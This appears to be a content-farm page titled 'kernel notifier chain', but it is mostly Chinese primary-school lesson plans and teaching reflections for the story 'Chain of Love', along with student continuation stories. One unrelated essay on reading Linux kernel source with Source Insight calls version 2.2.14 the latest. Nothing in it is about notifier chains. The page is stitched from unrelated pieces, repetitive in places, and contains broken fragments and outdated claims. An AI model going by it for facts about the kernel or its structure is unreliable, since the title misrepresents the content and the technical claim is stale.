內核通知鏈
發表時間:2025-03-21內核通知鏈(匯集12篇)。
? 內核通知鏈
教學目標:
1、能正確、流利、有感情地朗讀課文。
2、學會本課生字8個,兩條綠線內的5個字只識不寫,理解由生字組成的詞語。
3、理清課文脈絡,學會分段,能說出故事的大概。
重點難點:
理清課文脈絡,學會分段,能說出故事的大概。
1、激情導入:
愛,一個溫馨的字眼,一個永恒的話題。在那飄雪的寒夜,愛就是一股驅走寒流的暖流,就是一種克服萬難的力量。
2、圍繞課題進行質疑:這是一種怎樣的愛?這“愛”發生在誰與誰之間?這“愛”又是怎樣被鏈接起來的?
(1)自由讀課文,讀準字音,讀通句子,畫出不理解的字詞。
(2)查字典或聯系上下文理解詞語。
(2)指名朗讀,糾正讀音。
(3)了解詞語理解情況,提出質疑。
3、指名分段讀課文,相機指點重點句子的朗讀。
4、默讀課文,抓住關鍵人物來理清脈絡,初步搞清楚“喬依”、“老婦人”、“女店主”之間的關系。
? 內核通知鏈
一、教材簡析:
第二單元圍繞人間真情這個主題?!稅壑湣肥菍懴聧彽膯桃溃诼飞现鲃訋椭咸捃?,并謝絕了報酬;老太太開車到了一個路邊的小飯店吃飯,又暗暗資助孕婦的故事。這篇文章是一首愛的贊歌。文章極其細膩地描寫了發生在嚴冬深夜中的愛的故事:失去工作的喬伊無償地幫助老婦人修好汽車,老婦人在用餐的時候又受到了喬伊妻子的精心照顧,也受到了愛的感染,留下來一些錢悄悄地走了。文章贊揚了人間的互助互愛,告訴人們:當別人需要幫助的時候,應該伸出熱情的手。
二、設計理念及教學目標:
課堂應該是師生互動的過程,要以學生為本,放手讓學生自讀自悟,在學生充分感悟的基礎上,圍繞著“愛”,始終扣住“愛”這根紅線,以“愛的傳遞”為線索展開閱讀,注重感悟,讓學生在真情交流中喚醒愛,在激情對話中感悟愛,在覺悟閱讀中提升愛,在傾情關注中尋覓愛,讓學生沐浴“愛”的光輝,感受“人文”的回歸,加深理解和體驗,受到情感熏陶,樹立正確的價值觀。
三、教師組織及學生活動:
教學方法上,我力爭體現"以情境為動力,以朗讀為主線,以對話為靈魂,以感悟為核心”的教學理念,采用了“設境感知愛、初讀感受愛、品讀感悟愛、想象再現愛、拓展提升愛、補足珍藏愛、延續締造愛”的教學思路,引導學生抓住字、詞、句,深入文本,憑借課文的語言文字,讓學生充分感悟人與人之間情誼與關愛的可貴,知道當別人需要幫助的時候,應該給予無私的幫助。
學生活動中,我從學生個體發展的角度出發,以獨立自主學習感悟為主線,借助同伴合作和全班交流的有效學習形式,抓住字、詞、句,深入文本,感受真情,體會奉獻愛心終將獲得愛心回報的道理。
四、教學過程及設計意圖
(一)設境感知愛
[課始新穎而別致的導入,誘發了學生濃厚的閱讀期待,讓學生在一種溫馨的氛圍中進入本課的學習。]
(二)復習梳理課文脈絡
「理清課文的脈絡層次?!?/p>
(三)品讀感悟愛
1、尋覓“愛”
[從事情本身入手,以第四自然段為突破口,讓學生靜心默讀,抓住這些重點的字、詞、句,深入文本,走進人物的內心。談談自己感受最深刻的是什么,以點帶面,把相關的片段串聯起來,在教學時形成一個有機的整體。這樣既能很好地突破重點,又能使課堂環節環環相扣。]
2、傳遞“愛”
[一方面對學生的學習起到了引導作用,另一方面,又能引導學生聯系上下文去閱讀、思考,同時也訓練了學生的語言組織能力。]
[通過老師的啟發和引導,通過再次地用心體會,悟出了這些錢雖然不能從根本上改變他們的生活,但是,他們對生活充滿了希望,有這樣的心態,生活肯定會好起來的。]
3、凸顯“鏈”
[反復多次的強調愛的接力,愛的延續,愛的傳遞,加深學生對“鏈”的理解。文章的篇幅較長,不可能面面俱到,只有找出課文中最值得講的內容,把它讀深讀透,以點帶面,把相關的片段串聯起來,在教學時形成一個有機的整體,既能很好地突破重點,又能使課堂環節環環相扣。]
(四)補足珍藏愛
(五)延續締造愛
[“課雖止,意猶存”,課后再讓學生學以致用,成為愛的締造者這一綜合實踐活動中把“愛”落實到身邊的一點一滴中,這樣的作業把理想與現實有機結合起來,更有實際意義。]
五、教學反思
1、意外的收獲
原打算在導入新課后復習板書:喬伊 老婦人 女店主,然后順著這條愛的線索進行教學,可一上課由于過于擔心學生配合度的問題而忘記了,于是我調整了安排,由原來的復習導入板書改為邊引導學生理解課文邊補充完善板書,既定的變成了隨機的,而正是這一改變,我才從學生中收獲il “真誠”“熱情”“微笑”等帶有孩子理解角度的詞語,并板書在了黑板上,也可能因為我的這一舉動,讓孩子收獲了主動參與學習的成果,大多學生由一上課的“沉默寡言”變得敢想敢言了。
2、及時的搭救
在第二部分的學習中,我讓學生繼續關注細節描寫自讀9-11自然段,然后提問:讀了這一部分,你有哪些收獲?學生不很自信地看看我,再看看書。在學生思考的同時,我也在思考:他們可能是害怕說錯讓老師失望,我笑了笑(正如文中喬伊面對寒風中又冷又怕的老婦人時的那份理解般的笑容一樣)我拋出了一個小問題:來到小餐館,老婦人看到了什么?給孩子一把梯子,馬上學生抓住了這一部分細節描寫的兩個經典句子,也是兩個包含有對比手法的句子。
3、精彩的補白
課文結尾處,我原本認為女店主的“一切都會好起來的,親愛的,喬伊……”的理解會是本課學習的難點,但因學生逐步走進文本,走進人物心里,第一學生舉手:我從這句話中明白了喬伊是女店主的丈夫。我笑了笑,板書“夫妻”;你們還有別的發現嗎?學生在思索,當我準備用我的思路去引導他們時,一個女生(這個女生在前面的填空練習時,概括能力特別突出,我曾因為的出色表現豎起了大拇指。)舉起了手:我從這句話中讀出了女店主對生活充滿了信心。孩子的一句話一語中第,我提議其他孩子掌聲送給她。我又補充了一句:心中充滿了愛,有了生活的信心和勇氣,喬伊和妻子的生活一定會好起來的。
課堂前半時學生的沉默確實讓我很著急,但今天我必須克服急躁的老毛病,要沉得住氣,如果沉不住氣,隨生逐流,讓課堂匆匆結束、草草收尾,那么我設計中原本讓學生通過這節課體會的“愛”的情景,感受“愛”的意味的安排就將付諸東流,無疑是失敗的;如果我沉不住氣,我想通過這節課想向教師們傳達的信息(在高年級段如何更好地將閱讀與寫作結合起來)也將無法難以實現??朔痹昵榫w,順學而導,順思而教帶給我意外的驚喜,課堂上,我們不因以課前的預案為綱、為本,要因學生的思維、語言、積累狀態適時進行合理調整,讓學生漸入佳境,走進文本,走進人物心里。
? 內核通知鏈
教學目標:
1、能正確、流利、有感情地朗讀課文。
2、憑借課文的語言文字,讓學生充分感受人間真情,知道當別人需要幫助的時候,應該給予無私的幫助。
3、聯系課文內容,理解最后一句話的意思。學習通過描寫人物的神態、動作和語言來表現人物的品質的寫法。
教學重難點:
1、理解課文最后一句話的意思。引導學生從喬依和他的妻子的動作、神態描寫中體會到人物的內心世界。
2、學習通過描寫人物的神態、動作和語言來表現人物品質的寫法,寫一個小片斷。。
1、同學們,有人說,愛是一盞燈,黑暗中照亮前行的路,愛是一首詩,冰冷中溫暖渴求的心房,愛更是一根心鏈,栓緊你我彼此的心,串起了一個個愛的故事。
2、這節課我們繼續學習課文,讓我們去細細品味這根愛的珠鏈上那感人的一幕幕。
3、你還記得課文中講了哪兩件事嗎?
飄落下來。一條鄉間公路伸向遠方。這里看不見汽車,看不見人影,一切都顯得那么寂靜、荒涼。一位老婦人的車在這里拋錨了,此刻她的內心會是怎樣的?請你自己讀一讀文章的第2自然段,體會體會。
(2)能通過朗讀把老婦人此刻內心的絕望、害怕表達出來嗎?
這短短的幾句神態、/動作的描寫讓我們感同身受,不禁同情起老婦人的遭遇來。
過渡:然而就在這時,喬依出現了,看到老婦人的遭遇,他會怎么說,怎么做呢?請你快速讀讀課文的'3—8小節。
(1)喬依是怎樣為老婦人修車的? (2)指名讀第4小節。
(3)用“。”標出喬依修車動作的詞語,板書:爬、放置、蹭、摘、喘、流、沾。透過這些動詞,你能想象出喬依當時會遇到哪些困難?
(4)從這些生動的細節描寫中,你感受到了喬依怎樣的品質?
(5)是啊,喬依不怕臟,不怕累,真心誠意為老婦人修車,這是一種發自內心的幫助,這是一種樂于助人的優秀品質。
快速默讀3--8小節 還有哪些細節能反映出喬依的為人?
(1)、這愛之鏈的第二個故事,就請同學們自己學習。讀完后劃出令你感動的句子,談談自己的感受
(4)、讓我們再次回到那簡陋但溫馨的小餐館去感受這動人的故事,齊讀9-11小節。
2、出示句子:她輕輕地親吻著丈夫那粗糙的臉頰,喃喃地說:“一切都會好起來的,親愛的,喬依……”
3、從女店主的話中你讀懂了什么?
開頭展開想象寫一段話。描寫時注意抓住人物的對話,表情與動作等。)
5、現在你明白為什么用“愛之鏈”作題目了嗎?
同學們,愛是什么?愛就是一顆真心。當我們享受著愛的陽光,呼吸著愛的芬芳,你是否曾想過也把這份愛傳遞給別人呢?真心希望我們都能成為愛之鏈中的一環,讓愛的金鏈永遠不斷!
? 內核通知鏈
愛之鏈續寫_第1篇
喬醒了,他看見身邊雖然疲憊但臉上仍掛著微笑的妻子,他對妻子說:唉,找了一天,還是一無所獲只好明天再去碰碰運氣了。妻子安慰喬:沒關系,親愛的,剛才有一個老太太用完晚餐后留下了一些錢幫助我們,悄悄走了,還留了一張紙條。說著,女店主把手中的紙條遞給了喬,并從枕頭下拿出一疊鈔票。喬看了字條,愣了一下,問道:那老婦人長什么樣?女店主想了想說:她身材矮小,滿臉皺紋,開著一輛奔馳車。喬一聽,大叫:太巧了!然后把修車的經過一五一十地告訴了妻子,女店主夸道:喬伊,做得好,我為你驕傲!
第二天早上,喬像往常一樣努力地找工作,女侍者還是挺著大肚子在小咖啡館當侍者。 一次喬剛巧路過一幢破舊的小茅草屋前,屋前坐著一位小女孩,大概六七歲的樣子,正在縫補一件滿是補丁的衣裳。喬依用愛憐的眼神看著她,指著小茅屋問:這是你的家嗎?是呀小女孩答道。你的家人呢?沒有了,唯一愛我的奶奶前不久去世了。小姑娘大聲哭起來。喬聽了她的話,心痛得不得了,抱起小孩??上氲阶约旱募揖?,吃了上頓沒下頓,喬猶豫了。最后,無奈地把她進收養所。不久,一位修車廠的老板看中了喬精湛的技術,并且讓喬當車間主任,而喬的妻子,以最燦爛的微笑服務于哪些旅途勞累的人。
不久后,一家叫愛之鏈的餐館開張。這可是喬和妻子費盡心思,用了全部的錢才開了一家小餐館。餐館價廉物美,生意還不錯。很快,喬的生活也沒哪么困難了。喬想起了那個小女孩,所以經常偷偷地會在收養所里送去錢,玩具和衣服。這一切,小女孩都看在眼里。
天有不測風云。喬的妻子難產去世,孩子也沒有了,他幾次想到死,但那個小餐館使他堅持下去。噩夢又一次來到他家喬得了血癌。喬徹底被擊垮,,整日借酒消愁。但一直有一個人經常在信中勉勵他,有一次信中寫到:喬,你要振作起來,我相信老天不會對你們這么不公平。
幾天后,喬接到通知,一位少女為他捐贈了骨髓。
手術非常成功,但喬始終不知道是誰幫助了他。這時,醫生給他一張紙條:十二年前你幫助了我,哪么,十二年后就讓我幫助你吧!喬這才恍然大悟,他想起十二年前小茅屋里的女孩子,流下了眼淚,說道:愛之鏈,愛之鏈
愛之鏈續寫_第2篇
當喬依醒來后,女店主還沉浸在睡夢當中。喬依不忍心叫醒她,便想獨自披上一件衣服出門。
正當喬依打開房門的時候,女店主醒了,她的臉上洋溢著幸福的微笑,興奮地說:喬依,昨天發生了一件奇怪的是,一個用餐者,她來這里用完餐后,便留了一個小紙包,我打開紙包,里面裝著一些錢,還有一張小紙條呢!喬依欣喜而又驚訝地說:哦!這的確是一件怪事,那位用餐者叫什么名字?名字不知道,就是一位身材矮小的老婦人。女店主眉頭緊鎖。
老婦人?喬伊簡直驚訝得要跳起來,她長得什么樣?她穿著一件天藍色的大棉襖,一條黑色的棉褲,棕黑色的頭發,頭上還裹著一層大紅色的頭巾,身高大概1.60左右。咦?這不就是昨天幫助過的老婦人嗎?她來幫助我們了?這個世界真是如此的小啊!喬依感動地說。喬依還把事情的經過說給女店主聽。對了,那封信上寫了什么?女店主便把信遞給了喬依:
在我困難的時候,有人幫助了我,現在我也想幫幫你。也許是喬依的一句話,讓她懂得了人與人之間的友愛互助。
哎,喬依找不到工作真是一個大問題,他悶悶不樂,準備出去轉轉,調整心情。
喬依習慣性地王郵箱里看看,今天卻發現了這封信,里面寫著:
尊敬的喬依先生:
您好!
我是世界十大企業之一花花銀行的總裁威廉,您還記得那個風雪交加的夜晚嗎?您幫助了一位老婦人,她就是我的母親。謝謝你給予了她溫暖,幫助了她,更重要的是,您讓我們懂得了關于愛的道理。我也想成為你們愛之鏈當中的一員,我知道您沒有工作,不用擔心,您可以到我的公司里來,我可以將愛傳遞下去。另外,隨信寄去了200美元,請您快帶著妻子一起來紐約。
喬依真的不敢相信,自己只是一個普通人,幫助了一位老婦人,竟然可以喝精英們一起工作,這是他做夢也想不到的。
喬依帶著他的妻子去了紐約花花銀行,他享受了經理的待遇,威廉還特地在他的胸卡上寫道:一個懂得愛、傳遞愛的人!
愛之鏈續寫_第3篇
喬依半夜醒來,發現妻子肚子疼痛難忍,正在床上翻來覆去。她的臉色蒼白,蓬亂的發絲滲透出豆大般的汗珠。喬依慌亂極了,自從工廠倒閉前到現在,還沒怎么關心過自己的妻子,何況她現在已懷孕8個月了,心里覺得很愧疚。喬依連忙起身,帶著妻子坐到自己的那輛破車上,準備送她去醫院??善囋趺匆舶l動不起來,他下車檢查了一翻,原來是汽車沒油了,這可怎么辦呢,車子壞了倒可以修,但沒有汽油,喬依也束手無策。沒有辦法,喬依只好攙扶著他的妻子一步一步的向醫院走去,前面還有一大段漆黑而又漫長的路在等著他們呢。
喬依想這段日子真是倒霉透了。這時,一束燈光從遠處射了過來,只見一輛汽車緩緩地駛近,那輛汽車忽然在他們面前停了下來,從車里走出一個青年男子:嗨!伙計,需要幫忙嗎?看樣子你們是要去醫院吧!天氣這么冷,我送你們一程吧!喬依夫婦十分感激地說:好!那就麻煩你了!
下了車,喬依和妻子相依著坐在醫院等候室的長椅上,他們互相對視著笑了笑,妻子說:也許這就是愛的傳遞吧!
? 內核通知鏈
一、教材分析:
今天我說課的課題是《愛之鏈》?!稅壑?》是一首愛的贊歌。通過喬依幫助老婦人,老婦人幫助喬依這兩件事情,說明愛是可以延續,可以傳遞的。只要人人都付出一點愛,世界會更美好。
二教學目標的擬定:
根據高年級學齡段的特點以及語文課程標準特確定本課教學目標為以下三點:
1讀準生字詞的讀音,理解重點詞語。
2讀通、讀暢課文。
3初步理解課文,了解人物之間的關系。
其中第二點是重點為第二課時更好學習打下鋪墊,第三點是難點。
三教法與學法:
新課標指出:學生是學習的主體,老師要關心個體差異和不同的學習需求,要保護好學生的好奇心和求知欲,充分激發學生的主動意識和進取意識。再結合第一課時的內容特點,我設計了以下環節:1設置情境,談話導入2初讀課文,做到正確流暢3再讀課文,梳理文脈4指導書寫
(一)、設置情境,談話導入
課前播放《愛的奉獻》營造濃烈的愛的氛圍,初步感受愛的偉大,從再從愛字引入說話,激起對愛的感性認識,從而對愛意更濃,為學習課文做好鋪墊。
(二)、初讀課文,做到正確流暢
“語文教學離不開讀。”因此在課堂上讓學生讀三遍全篇課文。首先激勵自由讀一遍,接著穿插一個字詞認讀的基礎訓練,旨在完成第一目標,并為讀通課文打好基礎。在這里通過帶著感情色彩讀詞來指導孩子理解詞語。
再讀第二遍:抓重點段落指導朗讀,在讀文中識字、理解詞語?!罢Z文教是為了不教”因此在識字理解這一環節中我教給孩子理解詞語的方法,(聯系上下文和聯系生活實際理解詞語)并當堂學以致用。
讀好課文是本課時的重點,也是這一環節重點。因此我采取抓重點段指導。比如第一節環境的描寫以及襯托出的心情變化,指導孩子讀出冷的感受;第三節人物說話的神態,安慰的語氣與神情;最后一節“喃喃的說”,讓孩子知道朗讀到底應該怎樣讀。
另外小說具有自己獨特的寫作特點,對于高年級學生來說,這種體裁是孩子初步接觸的一種文學體裁,應該讓他們了解相關知識,因此我在孩子第二遍讀完全文時,提及文章結尾引導孩子說出當時的感受,從而初步讓孩子認識到這就是小說的魅力所在:作者精于構思,環環相扣,最后點出事情的真相,這就是巧妙!以及小說另一特點“人物不知道,讀者知道”,讓孩子總體感知課文,從而再回到課題“愛之鏈”,這樣使課堂首尾呼應。
(三)、再讀課文,梳理文脈:
再讀課文(第三遍)之后讓孩子進行課文內容的概括,在此弄清人物之間的關系從而明白文章的主要內容并梳理文脈。通過指導抓主要人物,概括主要事情,讓孩子學到概括能力,以及梳理脈絡的能力。
(四)指導書寫
書寫是學生語文素養主要之一。在這里抓住比較有代表性的兩個字進行指導,做到以點帶面。由于漢字是有規律可循的,因此我在這里又加了一個3個撇的規律。從而指導孩子今后的寫字,服務一生。
當然以上的設計可能還存在一定的欠缺,而且在上課中可能會出現這樣或那樣的情況,我會靈活駕馭課堂并充分利用課堂臨時生成資源。
? 內核通知鏈
Linux的內核源代碼可以從很多途徑得到。一般來講,在安裝的linux系統下,/usr/src/linux目錄下的東西就是內核源代碼。另外還可以從互連網上下載,解壓縮后文件一般也都位于linux目錄下。內核源代碼有很多版本,目前最新的版本是2.2.14。Linux內核有一種恐懼感,其實大可不必。當然,象Linux內核這樣大而復雜的系統代碼,閱讀起來確實有很多困難,但是也不象想象的那么高不可攀。只要有恒心,困難都是可以克服的。任何事情做起來都需要有方法和工具。正確的方法可以指導工作,良好的工具可以事半功倍。對于Linux 內核源代碼的閱讀也同樣如此。下面我就把自己閱讀內核源代碼的一點經驗介紹一下,最后介紹Window平臺下的一種閱讀工具。對于源代碼的閱讀,要想比較順利,事先最好對源代碼的知識背景有一定的了解。對于
linux內核源代碼來講,基本要求是:⑴ 操作系統的`基本知識;⑵ 對C語言比較熟悉,最好要有匯編語言的知識和GNU C對標準C的擴展的知識的了解。另外在閱讀之前,還應該知道Linux內核源代碼的整體分布情況。我們知道現代的操作系統一般由進程管理、內存管理、文件系統、驅動程序、網絡等組成??匆幌翷inux內核源代碼就可看出,各個目錄大致對應了這些方面。Linux內核源代碼的組成如下(假設相對于linux目錄):arch 這個子目錄包含了此核心源代碼所支持的硬件體系結構相關的核心代碼。如對于X86平臺就是i386。include 這個目錄包括了核心的大多數include文件。另外對于每種支持的體系結構分別有一個子目錄。init 此目錄包含核心啟動代碼。mm 此目錄包含了所有的內存管理代碼。與具體硬件體系結構相關的內存管理代碼位于arch/*/mm目錄下,如對應于X86的就是arch/i386/mm/fault.c 。
drivers 系統中所有的設備驅動都位于此目錄中。它又進一步劃分成幾類設備驅動,每一種也有對應的子目錄,如聲卡的驅動對應于drivers/sound。
ipc 此目錄包含了核心的進程間通訊代碼。
modules 此目錄包含已建好可動態加載的模塊。
fs Linux支持的文件系統代碼。不同的文件系統有不同的子目錄對應,如ext2文件系統對應的就是ext2子目錄。
kernel 主要核心代碼。同時與處理器結構相關代碼都放在arch/*/kernel目錄下。
net 核心的網絡部分代碼。里面的每個子目錄對應于網絡的一個方面。
lib 此目錄包含了核心的庫代碼。與處理器結構相關庫代碼被放在arch/*/lib/目錄下。
scripts此目錄包含用于配置核心的腳本文件。
Documentation 此目錄是一些文檔,起參考作用。
清楚了源代碼的結構組成后就可以著手閱讀。對于閱讀方法或者說順序,有所謂的縱向與橫向之分。所謂縱向就是順著程序的執行順序逐步進行;所謂橫向,就是分模塊進行。這不是絕對的,而是經常結合在一起進行。對于Linux源代碼來講,啟動的代碼就可以順著linux的啟動順序一步一步來,它的大致流程如下(以X86平臺為例):
./larch/i386/boot/bootSect.S-->./larch/i386/boot/setup.S-->./larch/i386/kernel/head.S-->./init/main.c
中的start_kernel。而對于象內存管理等部分,則可以單獨拿出來進行閱讀分析。我的體會是:開始最好按順序閱讀啟動代碼,然后進行專題閱讀,如進程部分,內存管理部分等。在每個功能函數內部應該一步步來。實際上這是一個反復的過程,不可能讀一遍就理解。
俗話說:“工欲善其事,必先利其器”。 閱讀象Linux核心代碼這樣的復雜程序令人望而生畏。它象一個越滾越大的雪球,閱讀核心某個部分經常要用到好幾個其他的相關文件,不久你將會忘記你原來在干什么。所以沒有一個好的工具是不行的。由于大部分愛好者對于Window平臺比較熟悉,并且還是常用Window系列平臺,所以在此我介紹一個Window下的一個工具軟件:Source Insight。這是一個有30天免費期的軟件,可以從下載。安裝非常簡單,和別的安裝一樣,雙擊安裝文件名,然后按提示進行就可以了。安裝完成后,就可啟動該程序。這個軟件使用起來非常簡單,是一個閱讀源代碼的好工具。它的使用簡單介紹如下:先選擇Project菜單下的new,新建一個工程,輸入工程名,接著要求你把欲讀的源代碼加入(可以整個目錄加)后,該軟件就分析你所加的源代碼。分析完后,就可以進行閱讀了。對于打開的閱讀文件,如果想看某一變量的定義,先把光標定位于該變量,然后點擊工具條上的相應選項,該變量的定義就顯示出來。對于函數的定義與實現也可以同樣操作。別的功能在這里就不說了,有興趣的朋友可以裝一個Source Insight,那樣你閱讀源代碼的效率會有很大提高的。怎么樣,試試吧!
? 內核通知鏈
教材簡析
這篇文章是一首愛的贊歌。文章極其細膩地描寫了發生在嚴冬深夜中的愛的故事:失去工作的喬伊無償地幫助老婦人修好汽車,老婦人在用餐的時候又受到了喬伊妻子的精心照顧,也受到了愛的感染,留下來一些錢悄悄地走了。文章贊揚了人間的互助互愛,告訴人們,當別人需要幫助的時候,應該伸出熱情的手。
第一課時
教學要求:
1.學會本課生字,理解生字組成的詞語。
2,能以簡潔的語言說說課文寫了哪幾個人互相關愛的事。
3、能正確、流利地朗讀課文。
教學重點:
能正確、流利地朗讀課文。
教學難點:
能以簡潔的語言說說課文寫了哪幾個人互相關愛的事。
教學過程:
一.激趣導入:
1、愛,一個溫馨的字眼,一個永恒的話題。在那飄雪的寒夜,愛就是一股驅走寒冷的暖流,就是一種克服困難的力量。今天我們就來學習《愛之鏈》。(板書課題:7、愛之鏈)
2、圍繞課題讓學生質疑。(這是一種什么樣的愛?這愛發生誰和誰之間?這愛又是怎樣被鏈接起來的?)請學生自瀆課文,了解故事的主要情節?
二、初讀課文,掌握梗概。
(一)自學字詞,或聯系上下文理解下面詞語的意思:荒無人煙、天經地義
(二)以簡潔的語言說說課文寫了哪幾個人互相關愛的事。
二、課題入手,初知由來。
想一想,議一議:課文為什么要以愛之鏈為題?
三、設置懸念,留待探究。
1、默讀課文,說說課文寫了哪幾個人互相關愛的事?
2、僅僅由喬依、老婦人、女店主這三個人之間的相互關愛就能形成這條愛之鏈嗎?
四、圍繞愛的鏈條,探討主要環節。
(一)重點探討第一環節喬依關愛老婦人
1、出示:第六自然段文字。
2、緊扣關鍵詞句,思考探究內涵:
(1)老婦人怎樣的舉動讓喬依楞住了?
(2)如果你是老婦人,此時,你會怎么想?
(3)老婦人的舉動合乎人之常情,絲毫沒有不可思議之處,喬依為什么會楞住呢?
(4)怎么理解他從沒想到他應該得到錢的回報?這是為什么?
(5)在這個句子中,哪是因,哪是果?
(6)在表示原因的前半句中,哪一個詞告訴我們喬依以前在困難的時候,多次得到過別人的關愛?
(7)這樣的原因讓喬依產生了怎樣的認識?他又是怎么做的?
(8)喬依從沒想到他應該得到錢的回報,那么,他想得到其他什么回報嗎?
五、按課后提示劃分段落。第一段(第18自然段)。第二段(第911自然段)。第三段12自然段)。
六、作業:
1、 能正確、流利地朗讀課文。
2、 課文為什么要以愛之鏈為題?
第二課時
教學要求:
1. 能有感情地朗讀課文。
2.理解課文內容,理解最后一句話的意思。
3、聯系課文內容,理解最后一句話的意思。學習通過描寫人物的神態、動作和語言來表現人物品質的寫法。
4、憑借課文的語言文字,讓學生充分感受人間的真情,知道當別人需要幫助時,應該給予無私的幫助。
教學重點:
引導學生從喬依和他的妻子的動作、神態描寫中體會到人物的內心世界。、
教學難點:
1、理解課文最后一句話的意思。
2、學習通過描寫人物的神態、動作和語言來表現人物品質的寫法,寫一個小片斷。
一、復習導入
1、今天,我們繼續學習課文《愛之鏈》,讓我們一起去細細品味一下這根愛的珠鏈上那感人的一幕幕。/bsdwz/
2、你還記得那一個個故事嗎?指名答,板書:(喬依幫助老婦人) (老婦人幫助女店主)
二、學習28小。
1、在一個風雪交加的黃昏,寒風挾裹著雪花紛紛揚揚地飄落下來。一條鄉間公路伸向遠方。這里看不見汽車,更沒有人影,一切顯得是那么寂靜、荒涼。一位老婦人的車在這拋錨了,此一讀文章二至八小節。
靜靜地想一想,誰愿意先來交流一下。(▲第二小“又冷又怕在冷風中”發抖緊張地閉上眼睛▲第五小節“緊張 絕望”荒蕪人煙等了一個小時幾乎完全絕望)誰愿意通過朗讀把老婦人此刻內心的絕望、害怕表達出來。指讀——齊讀
2、盡管老婦人此時幾乎絕望了,但她的內心始終在期望著有人來幫她一把。這時喬依駕駛著他那輛破汽車來到了老婦人面前,看到這一切,他怎么做的,請你自己去文中讀一讀、找一找。
交流:▲你從喬依安慰老婦人的話中體會到什么?(熱情、體貼、細心)淡淡的幾句話如暖風吹拂過老婦人的心田,誰還愿意來讀一讀?!弑M全力 無私助人“難” 手和腳腕蹭破出血 顧不上擦“冷” 手凍得幾乎沒有知覺 清水鼻涕流下來
▲[出示第六小節] 來,請同學們讀讀這段話,相信你讀了這段話,對喬依會有更深刻的認識,對喬依的行為會有新的理解。齊讀
交流,理解“天經地義”(理所當然,不容質疑)多么質樸,多么純潔的想法啊。再讀第六小節3、引讀6、7所以,當喬依修好車,老婦人滿懷感激地一邊打開錢包一邊問 ,喬依 ,他從來沒想到 ,他以前在困難的時候 ,所以他從來就認為 。因此,喬依笑著對老婦人說 。
4、小結:在喬依困難的時候,他曾經得到過別人愛的幫助,(板書……)所以當他看到被困雪地,孤立無助的老婦人需要幫助時,不容質疑地伸出援助之手。他不求報酬,只希望老婦人也能把悠悠愛心傳遞給需要幫助的人。
三、學習9-11小節
1、這愛之鏈的第二個故事,就請同學們自己學習。
2、自讀9—11節。
3、[出示填空]到小餐館,老婦人看到 ,突然想起了 ,于是 。她還看到了什么?還會想起什么?你可以結合前文,也可以展開想象,自己先練習說一說。 自說——指名說還有誰愿意說,說出自己的見解。
4、讓我們再次回到那簡陋但溫馨的小餐館去感受這動人的故事,齊讀9-11小節。
四、學習12小節
1、引讀:關上店門,女店主走進里屋。
2、[出示句子]她輕輕地親吻著丈夫那粗糙的臉頰,喃喃地說:“一切都會好起來的,親愛的,喬依……” 從女店主的話中你讀懂了什么?板書:……喬依幫助老婦人 愛之鏈 老婦人幫助女店主
五、拓展延伸
1.老師請你再讀讀課題——愛之鏈,現在你如何理解這根愛之鏈,請你用簡潔而富有創意的圖畫、文字或你喜歡的任何一種形式來表達你對課文及課題的詮釋??梢元毩⑼瓿?,也可以小組合作。
2.上講臺交流展示
六、總結
1.是啊,所有發生的這一切感人的故事都是因為愛,也正是因為同學們心中有愛,才會激情勃發,創作出這么多有創意、有思想的好作品?,F在就讓我們一起來聆聽一曲愛的贊歌。聆聽一曲愛的贊歌。
2.[播放《因為愛》]
3、 結束語:
? 內核通知鏈
一、導入:
這節課,咱們繼續學習第七課《愛之鏈》。愛是什么?有人說,愛如茉莉,潔白純凈芬芳怡人;有人說,愛如港灣,可以遮風擋雨;有人說,愛如大海,能夠包容一切;還有人說,愛如珠鏈,串起生活中一個個感人至深的故事。愛是什么?今天,咱們就和文中的主人公一起感受愛,感受溫暖。
二、復習:
1、課文寫了哪兩件事?
2、指名說,板書:喬依——老婦人——女店主(成心形上半部分,中間用箭頭連接,箭頭斜著畫)
三、學習1——8節:
1、請同學們瀏覽課文1——8節,老婦人的車胎癟了,她當時心情是怎樣的?
指名說。又冷又怕緊張無助幾乎完全絕望了
從“幾乎”這個詞能讓我們感受到,老婦人的內心還是非??释腥藖韼椭摹?/p>
2、喬依是怎樣幫助老婦人的?請同學們默讀第四節,你的腦海中浮現怎樣一幅畫面?
3、交流。
4、如果你就是那位老婦人,看到這一切,你的內心涌動著怎樣的情感?你眼中的喬依是怎樣一個人?(感激,感動。助人為樂,熱情,真誠)
5、所以,老婦人一邊打開錢包,一邊問:“我該給你多少錢?”言下之意就是——你要多少錢,我就給你多少錢。老婦人覺得只有這樣,才能表達自己的感激之情。
6、導讀第六節,出示小黑板:“喬依愣住了……他一直就是這么做的?!?/p>
7、理解“天經地義”。
從“常常、從來、一直”你體會到什么?
8、因此,喬依壓根沒想到應該得到錢的回報,(導讀第七節),喬依笑著對老婦人說——“如果您遇上一個需要幫助的人,就請您給他一點幫助吧?!逼鋵崳瑔桃肋@個時侯也遇到了麻煩事,請同學們看看第一節。
指名說,喬依遇到了什么麻煩事?(家境本來就不好,工廠又倒閉)
簡單講解環境描寫作用。
9、過渡:在這種情況之下,喬依還那么真誠、熱情的幫助老婦人,他從沒想得到過錢的回報,只希望老婦人能夠把愛心繼續傳遞下去,這使老婦人深受感動,于是在他的影響之下,第二個感人的故事發生了。
四、學習9——11節:
1、默讀9——11節,根據課文內容填空。
出示小黑板填空題:
來到了小餐館,老婦人看到(),突然想起了(),于是()。
提示:她還看到什么,會想起什么?思考,同位交流。
2、全班交流。
點撥:老婦人留下錢和紙條,僅僅是因為女店主懷有身孕嗎?(引導學生體會女店主的熱情周到的服務)
五、學習12節:
1、引讀。
2、出示句子“她輕輕地親吻著丈夫的臉頰……親愛的,喬依……”
從女店主的話中,你讀懂了什么?
3、這正如一首歌中所唱,只要人人都獻出一點愛,世界將變成美好的人間,讓我們一起來唱這首歌《愛的奉獻》。
六、總結全文。
1、回憶課文內容,說說課文為什么用“愛之鏈”做題目?
喬依在困難時常常得到別人的幫助,所以,他認為在別人需要時伸出友愛之手是天經地義的。他幫助了困在風雪中的老婦人,老婦人又幫助了女店主,女店主反過來關心喬依,一切因為愛,形成一條美麗的珠鏈。
2、想想課文內容,是不是僅僅這三件事形成的珠鏈?(不是,之前喬依常常得到別人的幫助,也常常幫助他人,以后,相信這種愛的故事還會發生,延續。)
3、師小結,豐富板書內容。在愛心串成小珠鏈的外側畫一條大的心形珠鏈。
4、結束語:
是啊,即使我們身處困境,即使是在寒冷的冬天,我們也不要忘記幫助別人,把溫暖帶給別人。
七、作業:
以“喬依醒來……”為開頭,展開想象寫一段話。
